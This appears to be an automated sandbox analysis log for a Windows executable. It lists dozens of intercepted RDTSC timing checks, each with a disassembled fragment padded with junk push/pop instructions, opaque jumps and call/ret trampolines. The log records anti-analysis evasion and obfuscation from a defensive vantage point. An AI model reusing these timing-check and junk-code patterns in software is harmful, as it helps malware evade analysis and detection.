Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4753 second address: 4F475D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFB70DAD976h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F64C0 second address: 4F64C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F475D second address: 4F4767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FFB70DAD976h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F5743 second address: 4F574D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFB70EEC026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F66C3 second address: 4F66D6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FFB70DAD978h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F4767 second address: 4F476B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F66D6 second address: 4F66EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD984h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F66EE second address: 4F66F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F978E second address: 4F9792 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9792 second address: 4F9798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F9798 second address: 4F979D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCC54 second address: 4FCC5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F979D second address: 4F97C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FFB70DAD9AAh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFB70DAD985h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCC5D second address: 4FCC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F97C4 second address: 4F9859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FFB70DAD978h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000019h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b mov dword ptr [ebp+122D34D3h], edx 0x00000031 mov di, A114h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov dword ptr [ebp+122D1E16h], esi 0x00000042 mov eax, dword ptr [ebp+122D1721h] 0x00000048 pushad 0x00000049 jmp 00007FFB70DAD97Fh 0x0000004e jc 00007FFB70DAD978h 0x00000054 push esi 0x00000055 pop edi 0x00000056 popad 0x00000057 push FFFFFFFFh 0x00000059 push eax 0x0000005a stc 0x0000005b pop ebx 0x0000005c nop 0x0000005d push edi 0x0000005e pushad 0x0000005f jmp 00007FFB70DAD97Fh 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FCC68 second address: 4FCC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA81F second address: 4FA835 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FFB70DAD97Ch 0x00000008 je 00007FFB70DAD976h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA835 second address: 4FA839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FFFB8 second address: 4FFFDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD989h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FFFDB second address: 4FFFF1 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFB70EEC026h 0x00000008 jnc 00007FFB70EEC026h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FFFF1 second address: 4FFFF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6EDD second address: 4A6EE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6EE3 second address: 4A6EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6EE7 second address: 4A6EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6EEB second address: 4A6EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FFB70DAD978h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FDFB8 second address: 4FDFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FDFBC second address: 4FDFC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5015C9 second address: 501604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 nop 0x00000009 or ebx, 41C572F1h 0x0000000f push 00000000h 0x00000011 sbb bl, FFFFFFC5h 0x00000014 push 00000000h 0x00000016 xchg eax, esi 0x00000017 pushad 0x00000018 jg 00007FFB70EEC031h 0x0000001e pushad 0x0000001f pushad 0x00000020 popad 0x00000021 jp 00007FFB70EEC026h 0x00000027 popad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50253A second address: 50253E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50253E second address: 5025E0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007FFB70EEC026h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FFB70EEC028h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov ebx, dword ptr [ebp+122D3946h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007FFB70EEC028h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Bh 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 call 00007FFB70EEC035h 0x0000004e ja 00007FFB70EEC02Ch 0x00000054 pop ebx 0x00000055 push 00000000h 0x00000057 mov edi, dword ptr [ebp+122D3886h] 0x0000005d xchg eax, esi 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FFB70EEC038h 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50381D second address: 503830 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB70DAD97Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50CB82 second address: 50CB92 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007FFB70EEC026h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50CB92 second address: 50CBAD instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFB70DAD976h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FFB70DAD97Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C1E2 second address: 50C221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70EEC02Bh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FFB70EEC036h 0x00000016 jmp 00007FFB70EEC030h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C221 second address: 50C226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C508 second address: 50C50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C50E second address: 50C518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C518 second address: 50C51C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C51C second address: 50C520 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C520 second address: 50C540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFB70EEC035h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C540 second address: 50C56B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FFB70DAD987h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FFB70DAD980h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C56B second address: 50C57B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC02Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C6D3 second address: 50C6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFB70DAD97Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C6E8 second address: 50C6EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C6EC second address: 50C713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFB70DAD989h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FFB70DAD976h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C713 second address: 50C717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50C717 second address: 50C71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51132E second address: 51137A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC032h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FFB70EEC037h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FFB70EEC037h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51137A second address: 511380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516EC9 second address: 516ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516ECE second address: 516ED3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A897D second address: 4A8985 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5163D6 second address: 5163DB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516686 second address: 51668C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51668C second address: 516690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516D5C second address: 516D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516D64 second address: 516D74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FFB70DAD976h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516D74 second address: 516D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA57B second address: 4AA58F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jbe 00007FFB70DAD976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007FFB70DAD976h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6497 second address: 4E64A8 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFB70EEC026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E64A8 second address: 4E64AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E64AD second address: 4CEAC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC039h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007FFB70EEC028h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 lea eax, dword ptr [ebp+1248B223h] 0x0000002a movsx edx, dx 0x0000002d nop 0x0000002e jmp 00007FFB70EEC033h 0x00000033 push eax 0x00000034 jmp 00007FFB70EEC033h 0x00000039 nop 0x0000003a jmp 00007FFB70EEC031h 0x0000003f mov ecx, dword ptr [ebp+122D3846h] 0x00000045 call dword ptr [ebp+1245FB88h] 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E66AA second address: 4E66AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E69A5 second address: 4E69AA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E69AA second address: 4E69CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FFB70DAD987h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6BCB second address: 4E6BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6C84 second address: 4E6C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6E18 second address: 4E6E86 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70EEC036h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 nop 0x00000011 mov edi, dword ptr [ebp+122D3906h] 0x00000017 mov ecx, dword ptr [ebp+1245E5C7h] 0x0000001d push 00000004h 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007FFB70EEC028h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 0000001Ah 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 jmp 00007FFB70EEC032h 0x0000003e nop 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 ja 00007FFB70EEC026h 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E6E86 second address: 4E6EA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD986h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E733A second address: 4E7348 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FFB70EEC026h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7348 second address: 4E734C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E734C second address: 4E7350 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7549 second address: 4E755B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007FFB70DAD976h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E755B second address: 4E7561 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51AA5C second address: 51AA79 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FFB70DAD97Fh 0x00000008 pop edi 0x00000009 jng 00007FFB70DAD97Eh 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51AA79 second address: 51AA83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ADB4 second address: 51ADD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB70DAD97Fh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51ADD2 second address: 51ADF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FFB70EEC031h 0x0000000b pushad 0x0000000c jne 00007FFB70EEC026h 0x00000012 push edx 0x00000013 pop edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51B283 second address: 51B299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB70DAD97Bh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5257FC second address: 525816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FFB70EEC02Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525816 second address: 52583F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FFB70DAD97Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB70DAD985h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52583F second address: 525852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FFB70EEC026h 0x00000009 jo 00007FFB70EEC026h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5376 second address: 4A5386 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FFB70DAD976h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A5386 second address: 4A53BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jbe 00007FFB70EEC055h 0x0000000d jl 00007FFB70EEC02Eh 0x00000013 jno 00007FFB70EEC026h 0x00000019 pushad 0x0000001a popad 0x0000001b push ecx 0x0000001c jmp 00007FFB70EEC039h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52472A second address: 52472F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5248AA second address: 5248B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5248B0 second address: 5248B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
